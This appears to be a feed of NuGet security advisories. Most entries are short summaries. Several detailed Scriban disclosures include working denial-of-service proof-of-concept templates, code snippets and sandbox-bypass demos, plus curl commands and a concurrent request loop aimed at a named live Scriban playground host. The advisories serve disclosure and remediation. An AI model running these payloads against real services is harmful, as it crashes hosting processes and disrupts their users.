Threats tagged 'nuget'

A stored cross-site scripting (XSS) vulnerability exists in TinyMCE through forged mce:protected comments. This flaw allows attackers to bypass sanitization and inject malicious scripts that execute when the protected content is restored. The vulnerability affects users who utilize the protect option in TinyMCE. No official workaround is available. The issue is fixed by validating decoded mce:protected content against configured protect regex rules before restoration. Users should upgrade to TinyMCE 8.5.1 or higher, 7.9.3 or higher, or 5.11.1 LTS or higher (the latter requires a commercial support contract).

TinyMCE versions up to 5.10.9, from 6.0.0 up to but not including 7.9.3, and from 8.0.0 up to but not including 8.5.1 are affected by a stored Cross-Site Scripting (XSS) vulnerability. The issue arises from unsanitized data-mce-* attributes (specifically data-mce-href, data-mce-src, and data-mce-style) that allow attackers to inject malicious content bypassing validation during serialization. This vulnerability has been patched by stripping unsafe data-mce-* attributes during parsing. Users should upgrade to TinyMCE 8.5.1 or higher, 7.9.3 or higher, or 5.11.1 LTS or higher (the latter available only under commercial long-term support). No official workaround is available.

A denial-of-service (DoS) vulnerability exists in Scriban's array.insert_at template function due to an unbounded loop that allocates null entries without respecting configured loop or recursion limits. This can cause an OutOfMemoryException that terminates the host process. The issue affects Scriban versions prior to 7.2.0 and is exploitable by template authors specifying very large index values in array.insert_at calls.

oxidize-pdf versions prior to 2.6.0 allow construction of color values with non-finite floating-point components (NaN, infinity) that bypass clamping safeguards. These non-finite values are serialized into PDF content streams as invalid tokens (e.g., 'NaN'), causing conformant PDF viewers to reject the content stream, page, or entire document. This can lead to denial of service (DoS) for applications generating PDFs with untrusted color inputs. The issue affects oxidize-pdf Rust library and its .NET and Python bindings. Patched versions 2.6.0 and later sanitize color components to replace non-finite values with zero, ensuring valid PDF output.

Five malicious NuGet packages published under account bmrxntfj impersonate Chinese .NET libraries to deploy an infostealer targeting browser credentials, cryptocurrency wallets, SSH keys, and local files. The packages typosquat legitimate Chinese UI and infrastructure libraries, grafting .NET Reactor-protected payloads onto decompiled legitimate code. The campaign uses version rotation to evade hash-based detection, with 219 of 224 total versions unlisted but fetchable. The stealer targets 12 browsers, 8 desktop crypto wallets, and 5 browser wallet extensions, exfiltrating data to a newly-registered C2 domain. With approximately 65,000 downloads across all versions, the campaign puts tens of thousands of developer workstations and CI/CD build servers at risk. The payload executes through .NET module initializers, hooks the CLR JIT compiler, and supports cross-platform infection including Linux and macOS infrastructure.

The OpenTelemetry.Exporter.OneCollector exporter reads HTTP response bodies without an upper size limit when receiving non-successful HTTP status codes (4xx or 5xx). This can lead to unbounded memory consumption if the response body is extremely large, potentially causing memory exhaustion and application crashes. The vulnerability affects versions prior to 1.15.1 and is fixed in version 1.15.1.

OpenTelemetry.Resources.Azure versions prior to 1.15.1-beta.1 have a vulnerability where unbounded HTTP response bodies from the Azure VM instance metadata service are read into memory. This can be exploited by an attacker controlling the metadata endpoint or performing a Man-in-the-Middle (MitM) attack to cause excessive memory allocation, potentially leading to application crashes due to OutOfMemoryException. The issue is fixed in version 1.15.1-beta.1 by limiting response size and streaming the response body. Mitigations include disabling the Azure VM resource detector or using network controls to prevent MitM attacks.

OpenTelemetry.Exporter.Zipkin versions prior to 1.15.3 have an unbounded remote endpoint cache growth issue. This can cause increased memory usage over time in high-cardinality scenarios, potentially degrading process availability. The issue is addressed by introducing a bounded, thread-safe LRU cache with a fixed maximum size in version 1.15.3.

ParquetSharp contains a vulnerability in the DecimalConverter.ReadDecimal function where a stack allocation uses a potentially attacker-controlled value. This can cause a stack overflow if a decimal column with an unreasonably large width is declared in a Parquet file. Applications using ParquetSharp to read untrusted Parquet files in network services are affected. The issue is fixed in version 23.0.0.1.

Kiota is an OpenAPI based HTTP Client code generator. Versions prior to 1.29.1 and 1.31.1 are affected by a code-generation literal injection vulnerability in multiple writer sinks (for example: serialization/deserialization keys, path/query parameter mappings, URL template metadata, enum/property metadata, and default value emission). When malicious values from an OpenAPI description are emitted into generated source without context-appropriate escaping, an attacker can break out of string literals and inject additional code into generated clients. This issue is only practically exploitable when the OpenAPI description used for generation is from an untrusted source, or a normally trusted OpenAPI description has been compromised/tampered with. Only generating from trusted, integrity-protected API descriptions significantly reduces the risk. To remediate the issue, upgrade Kiota to 1.29.1, 1.31.1, or later and regenerate/refresh existing generated clients as a precaution. Refreshing generated clients ensures previously generated vulnerable code is replaced with hardened output.

The wpfuihelpercore NuGet package versions 1.0.0 and 1.0.2 contain malicious code as identified by the OpenSSF malicious packages project. This is a supply chain threat involving a package that may execute harmful actions if integrated into software projects. No official patch or remediation guidance is provided in the available data. There are no known exploits in the wild at this time.

The NuGet package jjrawlins.cdkiampolicybuilderhelper version 0.0.194 has been identified as containing malicious code. This package is flagged as a malicious package by the OpenSSF and is listed in the malicious packages database. There is no CVSS score or detailed technical vulnerability description available. No known exploits in the wild have been reported.

Microsoft.Native.Quic.MsQuic.OpenSSL contains a critical remote elevation of privilege vulnerability (CVE-2026-32179) due to improper input validation causing an integer underflow when decoding ACK frames. This flaw allows an attacker to gain elevated privileges over a network. The issue affects versions prior to 2.4.18 and versions from 2.5.0-ci.532574 up to but not including 2.5.7. A patch fixing the underflow in ACK frame parsing is available in versions 2.4.18 and 2.5.7.

## Summary Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (`LimitToString`, `LoopLimit`) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates. ## Details ### Vector 1: Unbounded string multiplication In `ScriptBinaryExpression.cs`, the `CalculateToString` method handles the `string * int` operator by looping without any upper bound: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334 var leftText = context.ObjectToString(left); var builder = new StringBuilder(); for (int i = 0; i < value; i++) { builder.Append(leftText); } return builder.ToString(); ``` The `LimitToString` safety control (default 1MB) does **not** protect this code path. It only applies to `ObjectToString` output conversions in `TemplateContext.Helpers.cs` (lines 101-121), not to intermediate string values constructed inside `CalculateToString`. The `LoopLimit` also does not apply because this is a C# `for` loop, not a template-level loop — `StepLoop()` is never called here. ### Vector 2: Unbounded BigInteger shift left The `CalculateLongWithInt` and `CalculateBigIntegerNoFit` methods handle `ShiftLeft` without any bound on the shift amount: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711 case ScriptBinaryOperator.ShiftLeft: return (BigInteger)left << (int)right; ``` ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784 case ScriptBinaryOperator.ShiftLeft: return left << (int)right; ``` In contrast, the `Power` operator at lines 722 and 795 uses `BigInteger.ModPow(left, right, MaxBigInteger)` to cap results. The `MaxBigInteger` constant (`BigInteger.One << 1024 * 1024`, defined at line 690) already exists but is never applied to shift operations. ### Vector 3: LoopLimit bypass via range enumeration in builtin functions The range operators `..` and `..<` produce lazy `IEnumerable<object>` iterators: ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417 private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right) { if (left < right) { for (var i = left; i <= right; i++) { yield return FitToBestInteger(i); } } // ... } ``` When these ranges are consumed by builtin functions, `LoopLimit` is completely bypassed because `StepLoop()` is only called in `ScriptForStatement` and `ScriptWhileStatement` — it is never called in any function under `src/Scriban/Functions/`. For example: - `ArrayFunctions.Size` (line 609) calls `.Cast<object>().Count()`, fully enumerating the range - `ArrayFunctions.Join` (line 388) iterates with `foreach` and appends to a `StringBuilder` with no size limit ## PoC ### Vector 1 — String multiplication OOM: ```csharp var template = Template.Parse("{{ 'AAAA' * 500000000 }}"); var context = new TemplateContext(); // context.LimitToString is 1048576 by default — does NOT protect this path template.Render(context); // OutOfMemoryException: attempts ~2GB allocation ``` ### Vector 2 — BigInteger shift OOM: ```csharp var template = Template.Parse("{{ 1 << 100000000 }}"); var context = new TemplateContext(); template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB) // {{ 1 << 2000000000 }} attempts ~250MB ``` ### Vector 3 — LoopLimit bypass via range + builtin: ```csharp var template = Template.Parse("{{ (0..1000000000) | array.size }}"); var context = new TemplateContext(); // context.LoopLimit is 1000 — does NOT protect builtin function iteration template.Render(context); // CPU exhaustion: enumerates 1 billion items ``` ```csharp var template = Template.Parse("{{ (0..10000000) | array.join ',' }}"); var context = new TemplateContext(); template.Render(context); // Memory exhaustion: builds ~80MB+ joined string ``` ## Impact An attacker who can supply a Scriban template (common in CMS platforms, email templating systems, reporting tools, and other applications embedding Scriban) can cause denial of service by crashing the host process via `OutOfMemoryException` or exhausting CPU resources. This is particularly impactful because: 1. Applications relying on the default safety controls (`LoopLimit=1000`, `LimitToString=1MB`) believe they are protected against resource exhaustion from untrusted templates, but these controls have gaps. 2. A single malicious template expression is sufficient — no complex template logic is required. 3. The `OutOfMemoryException` in vectors 1 and 2 typically terminates the entire process, not just the template evaluation. ## Recommended Fix ### Vector 1 — String multiplication: Check `LimitToString` before the loop ```csharp // src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs, before line 330 var leftText = context.ObjectToString(left);

## Summary The `LimitToString` safety limit (default 1MB since commit `b5ac4bf`) can be bypassed to allocate approximately 1GB of memory by exploiting the per-call reset of `_currentToStringLength` in `ObjectToString`. Each template expression rendered through `TemplateContext.Write(SourceSpan, object)` triggers a separate top-level `ObjectToString` call that resets the length counter to zero, and the underlying `StringBuilderOutput` has no cumulative output size limit. An attacker who can supply a template can cause an out-of-memory condition in the host application. ## Details The root cause is in `TemplateContext.Helpers.cs`, in the `ObjectToString` method: ```csharp // src/Scriban/TemplateContext.Helpers.cs:89-111 public virtual string ObjectToString(object value, bool nested = false) { if (_objectToStringLevel == 0) { _currentToStringLength = 0; // <-- resets on every top-level call } try { _objectToStringLevel++; // ... var result = ObjectToStringImpl(value, nested); if (LimitToString > 0 && _objectToStringLevel == 1 && result != null && result.Length >= LimitToString) { return result + "..."; } return result; } // ... } ``` Each time a template expression is rendered, `TemplateContext.Write(SourceSpan, object)` calls `ObjectToString`: ```csharp // src/Scriban/TemplateContext.cs:693-701 public virtual TemplateContext Write(SourceSpan span, object textAsObject) { if (textAsObject != null) { var text = ObjectToString(textAsObject); // fresh _currentToStringLength = 0 Write(text); } return this; } ``` The `StringBuilderOutput.Write` method appends unconditionally with no size check: ```csharp // src/Scriban/Runtime/StringBuilderOutput.cs:47-50 public void Write(string text, int offset, int count) { Builder.Append(text, offset, count); // no cumulative limit } ``` **Execution flow:** 1. Template creates a string of length 1,048,575 (one byte under the 1MB `LimitToString` default) 2. A `for` loop iterates up to `LoopLimit` (default 1000) times 3. Each iteration renders the string via `Write(span, x)` → `ObjectToString(x)` 4. `ObjectToString` resets `_currentToStringLength = 0` since `_objectToStringLevel == 0` 5. The string passes the `LimitToString` check (1,048,575 < 1,048,576) 6. Full string is appended to `StringBuilder` — no cumulative tracking 7. After 1000 iterations: ~1GB allocated in-memory ## PoC ```csharp using Scriban; // Uses only default TemplateContext settings (LoopLimit=1000, LimitToString=1048576) var template = Template.Parse("{{ x = \"\" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }}"); // This will allocate ~1GB in the StringBuilder, likely causing OOM var result = template.Render(); ``` Equivalent Scriban template: ```scriban {{ x = "" | string.pad_left 1048575 }}{{ for i in 1..1000 }}{{ x }}{{ end }} ``` Each of the 1000 loop iterations outputs a 1,048,575-character string. Each passes the per-call `LimitToString` check independently. Total output: ~1,000,000,000 characters (~1GB) allocated in the `StringBuilder`. ## Impact - **Denial of Service:** An attacker who can supply Scriban templates (common in CMS, email templating, report generation) can crash the host application via out-of-memory - **Process-level impact:** OOM kills the entire .NET process, not just the template rendering — affects all concurrent users - **Bypass of safety mechanism:** The `LimitToString` limit was specifically introduced to prevent resource exhaustion, but the per-call reset makes it ineffective against cumulative abuse - **Low complexity:** The exploit template is trivial — a single line ## Recommended Fix Add a cumulative output size counter to `TemplateContext` that tracks total bytes written across all `Write` calls, independent of the per-object `LimitToString`: ```csharp // In TemplateContext.cs — add new property and field private long _totalOutputLength; /// <summary> /// Gets or sets the maximum total output length in characters. Default is 10485760 (10 MB). 0 means no limit. /// </summary> public int OutputLimit { get; set; } = 10485760; // In TemplateContext.Write(string, int, int) — add check before writing public TemplateContext Write(string text, int startIndex, int count) { if (text != null) { if (OutputLimit > 0) { _totalOutputLength += count; if (_totalOutputLength > OutputLimit) { throw new ScriptRuntimeException(CurrentSpan, $"The output limit of {OutputLimit} characters was reached."); } } // ... existing indent/write logic } return this; } ``` This provides defense-in-depth: `LimitToString` caps individual object serialization, while `OutputLimit` caps total template output.

## Summary The `object.to_json` builtin function in Scriban performs recursive JSON serialization via an internal `WriteValue()` static local function that has no depth limit, no circular reference detection, and no stack overflow guard. A Scriban template containing a self-referencing object passed to `object.to_json` triggers unbounded recursion, causing a `StackOverflowException` that terminates the hosting .NET process. This is a fatal, unrecoverable crash — `StackOverflowException` cannot be caught by user code in .NET. ## Details The vulnerable code is the `WriteValue()` static local function at `src/Scriban/Functions/ObjectFunctions.cs:494`: ```csharp static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value) { var type = value?.GetType() ?? typeof(object); if (value is null || value is string || value is bool || type.IsPrimitiveOrDecimal() || value is IFormattable) { JsonSerializer.Serialize(writer, value, type); } else if (value is IList || type.IsArray) { writer.WriteStartArray(); foreach (var x in context.ToList(context.CurrentSpan, value)) { WriteValue(context, writer, x); // recursive, no depth check } writer.WriteEndArray(); } else { writer.WriteStartObject(); var accessor = context.GetMemberAccessor(value); foreach (var member in accessor.GetMembers(context, context.CurrentSpan, value)) { if (accessor.TryGetValue(context, context.CurrentSpan, value, member, out var memberValue)) { writer.WritePropertyName(member); WriteValue(context, writer, memberValue); // recursive, no depth check } } writer.WriteEndObject(); } } ``` This function has **none** of the safety mechanisms present in other recursive paths: - `ObjectToString()` at `TemplateContext.Helpers.cs:98` checks `ObjectRecursionLimit` (default 20) - `EnterRecursive()` at `TemplateContext.cs:957` calls `RuntimeHelpers.EnsureSufficientExecutionStack()` - `CheckAbort()` at `TemplateContext.cs:464` also calls `EnsureSufficientExecutionStack()` The `WriteValue()` function bypasses all of these because it is a static local function that only takes the `TemplateContext` for member access — it never calls `EnterRecursive()`, never checks `ObjectRecursionLimit`, and never calls `EnsureSufficientExecutionStack()`. **Execution flow:** 1. Template creates a ScriptObject: `{{ x = {} }}` 2. Sets a self-reference: `x.self = x` — stores a reference in `ScriptObject.Store` dictionary 3. Pipes to `object.to_json`: `x | object.to_json` → calls `ToJson()` at line 477 4. `ToJson()` calls `WriteValue(context, writer, value)` at line 488 5. `WriteValue` enters the `else` branch (line 515), gets members via accessor, finds "self" 6. `TryGetValue` returns `x` itself, `WriteValue` recurses with the same object — infinite loop 7. `StackOverflowException` is thrown — **fatal, cannot be caught, process terminates** ## PoC ```scriban {{ x = {}; x.self = x; x | object.to_json }} ``` In a hosting application: ```csharp using Scriban; // This will crash the entire process with StackOverflowException var template = Template.Parse("{{ x = {}; x.self = x; x | object.to_json }}"); var result = template.Render(); // FATAL: process terminates here ``` Even without circular references, deeply nested objects can exhaust the stack since no depth limit is enforced: ```scriban {{ a = {} b = {inner: a} c = {inner: b} d = {inner: c} # ... continue nesting ... result = deepest | object.to_json }} ``` ## Impact - **Process crash DoS**: Any application embedding Scriban for user-provided templates (CMS platforms, email template engines, report generators, static site generators) can be crashed by a single malicious template. The crash is unrecoverable — `StackOverflowException` terminates the .NET process. - **No try/catch protection possible**: Unlike most exceptions, `StackOverflowException` cannot be caught by application code. The hosting application cannot wrap `template.Render()` in a try/catch to survive this. - **No authentication required**: `object.to_json` is a default builtin function (registered in `BuiltinFunctions.cs`), available in all Scriban templates unless explicitly removed. - **Trivial to exploit**: The PoC is a single line of template code. ## Recommended Fix Add a depth counter parameter to `WriteValue()` and check it against `ObjectRecursionLimit`, consistent with how `ObjectToString` is protected. Also add `EnsureSufficientExecutionStack()` as a safety net: ```csharp static void WriteValue(TemplateContext context, Utf8JsonWriter writer, object value, int depth = 0) { if (context.ObjectRecursionLimit != 0 && depth > context.ObjectRecursionLimit) { throw new ScriptRuntimeException(context.CurrentSpan, $"Exceeding object recursion limit `{context.ObjectRecursion

## Summary The built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`. ## Details `StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking: ```csharp // src/Scriban/Functions/StringFunctions.cs:1181-1183 public static string PadLeft(string text, int width) { return (text ?? string.Empty).PadLeft(width); } // src/Scriban/Functions/StringFunctions.cs:1200-1202 public static string PadRight(string text, int width) { return (text ?? string.Empty).PadRight(width); } ``` The `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering. The Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with: - No authentication - Template size limit of 1KB (line 71) — the payload fits in 39 bytes - A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect. - Rate limiting of 30 requests/minute (line 25) ## PoC Single request to crash or degrade the AppService: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' ``` This 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding). **Expected result:** The service returns an error or truncated output safely. **Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process. Sustained attack with rate limiting: ```bash # 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure for i in $(seq 1 30); do curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_left 500000000 }}"}' & done wait ``` The `string.pad_right` variant works identically: ```bash curl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \u0027\u0027 | string.pad_right 500000000 }}"}' ``` ## Impact - **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`. - An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request. - With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery. - The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation. ## Recommended Fix Add width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available: ```csharp // src/Scriban/Functions/StringFunctions.cs // Option 1: Fixed reasonable maximum (simplest fix) public static string PadLeft(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadLeft(width); } public static string PadRight(string text, int width) { if (width < 0) width = 0; if (width > 1_048_576) width = 1_048_576; // 1MB cap return (text ?? string.Empty).PadRight(width); } ``` Alternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.

## Summary Scriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value. ## Details The relevant code path is: - `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46. - `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration. - `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables. - `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748. - `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`. This means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`. There is also a related memory-amplification path in `string * int`: - `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc3 cd scriban-poc3 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using Scriban; var template = Template.Parse("{{ 1..1000000 | array.size }}"); var context = new TemplateContext { LoopLimit = 1 }; Console.WriteLine(template.Render(context)); ``` ### Run ```bash dotnet run ``` ### Actual Output ``` 1000000 ``` ### Expected Behavior A safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work. ### Optional Stronger Variant (Memory Amplification) ```csharp using Scriban; var template = Template.Parse("{{ 'A' * 200000000 }}"); var context = new TemplateContext { LoopLimit = 1 }; template.Render(context); ``` This variant demonstrates that `LoopLimit` also does not constrain large internal allocation work. --- ## Impact This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression. The issue impacts: - Template-as-a-service systems - CMS or email rendering systems that accept user templates - Any multi-tenant use of Scriban with untrusted template content

## Summary `TemplateContext` caches type accessors by `Type` only, but those accessors are built using the current `MemberFilter` and `MemberRenamer`. When a `TemplateContext` is reused and the filter is tightened for a later render, Scriban still reuses the old accessor and continues exposing members that should now be hidden. ## Details The relevant code path is: - `TemplateContext.GetMemberAccessor()` caches accessors in `_memberAccessors` by `Type` in `src/Scriban/TemplateContext.cs` lines 850–863. - For plain .NET objects, `GetMemberAccessorImpl()` creates a new `TypedObjectAccessor(type, _keyComparer, MemberFilter, MemberRenamer)` in `src/Scriban/TemplateContext.cs` lines 909–939. - `TypedObjectAccessor` stores the current filter and precomputes the exposed member set in its constructor and `PrepareMembers()` in `src/Scriban/Runtime/Accessors/TypedObjectAccessor.cs` lines 33–40 and 119–179. - Member access later goes through `ScriptMemberExpression.GetValue()` in `src/Scriban/Syntax/Expressions/ScriptMemberExpression.cs` lines 67–95, which uses the cached accessor. - `TemplateContext.Reset()` does **not** clear `_memberAccessors` in `src/Scriban/TemplateContext.cs` lines 877–902. As a result, once a permissive accessor has been created for a given type, changing `TemplateContext.MemberFilter` later does not take effect for that type on the same reused context. This is especially relevant because the Scriban docs explicitly recommend `TemplateContext.MemberFilter` for indirect .NET object exposure. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc2 cd scriban-poc2 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using System.Reflection; using Scriban; using Scriban.Runtime; var template = Template.Parse("{{ model.secret }}"); var context = new TemplateContext { EnableRelaxedMemberAccess = false }; var globals = new ScriptObject(); globals["model"] = new SensitiveModel(); context.PushGlobal(globals); context.MemberFilter = _ => true; Console.WriteLine("first=" + template.Render(context)); context.Reset(); var globals2 = new ScriptObject(); globals2["model"] = new SensitiveModel(); context.PushGlobal(globals2); context.MemberFilter = member => member.Name == nameof(SensitiveModel.Public); Console.WriteLine("second=" + template.Render(context)); sealed class SensitiveModel { public string Public => "ok"; public string Secret => "leaked"; } ``` ### Run ```bash dotnet run ``` ### Actual Output ``` first=leaked second=leaked ``` ### Expected Behavior The second render should fail or stop exposing `Secret`, because the filter only allows `Public` and `EnableRelaxedMemberAccess` is disabled. This reproduces a direct filter bypass caused by the stale cached accessor. --- ## Impact This is a protection-mechanism bypass. Applications that use `TemplateContext.MemberFilter` as part of their sandbox or object-exposure policy can unintentionally expose hidden members across requests when they reuse a `TemplateContext`. The impact includes: - Unauthorized read access to filtered properties or fields - Unauthorized writes if the filtered member also has a setter - Policy bypass across requests, users, or tenants when contexts are pooled

## Summary `TemplateContext.Reset()` claims that a `TemplateContext` can be reused safely on the same thread, but it does not clear `CachedTemplates`. If an application pools `TemplateContext` objects and uses an `ITemplateLoader` that resolves content per request, tenant, or user, a previously authorized include can be served to later renders without calling `TemplateLoader.Load()` again. ## Details The relevant code path is: - `TemplateContext.Reset()` only clears output, globals, cultures, and source files in `src/Scriban/TemplateContext.cs` lines 877–902. - `CachedTemplates` is initialized once and kept on the context in `src/Scriban/TemplateContext.cs` line 197. - `include` resolves templates through `IncludeFunction.Invoke()` in `src/Scriban/Functions/IncludeFunction.cs` lines 29–43. - `IncludeFunction.Invoke()` calls `TemplateContext.GetOrCreateTemplate()` in `src/Scriban/TemplateContext.cs` lines 1249–1256. - If a template path is already present in `CachedTemplates`, Scriban returns the cached compiled template and does **not** call `TemplateLoader.Load()` again. This becomes a security issue when `ITemplateLoader.Load()` returns request-dependent content. A first render can prime the cache with an admin-only or tenant-specific template, and later renders on the same reused `TemplateContext` will receive that stale template even after `Reset()`. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc1 cd scriban-poc1 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using Scriban; using Scriban.Parsing; using Scriban.Runtime; var loader = new SwitchingLoader(); var context = new TemplateContext { TemplateLoader = loader, }; var template = Template.Parse("{{ include 'profile' }}"); loader.Content = "admin-only"; Console.WriteLine("first=" + template.Render(context)); context.Reset(); loader.Content = "guest-view"; Console.WriteLine("second=" + template.Render(context)); sealed class SwitchingLoader : ITemplateLoader { public string Content { get; set; } = string.Empty; public string GetPath(TemplateContext context, SourceSpan callerSpan, string templateName) => templateName; public string Load(TemplateContext context, SourceSpan callerSpan, string templatePath) => Content; public ValueTask<string> LoadAsync(TemplateContext context, SourceSpan callerSpan, string templatePath) => new(Content); } ``` ### Run ```bash dotnet run ``` ### Actual Output ``` first=admin-only second=admin-only ``` ### Expected Output ``` first=admin-only second=guest-view ``` The second render should reload the template after `Reset()`, but it instead reuses the cached compiled template from the previous render. --- ## Impact This is a cross-render data isolation issue. Any application that reuses `TemplateContext` objects and uses a request-dependent `ITemplateLoader` can leak previously authorized template content across requests, users, or tenants. The issue impacts applications that: - Pool or reuse `TemplateContext` - Call `Reset()` between requests - Use `include` - Resolve include content based on request-specific state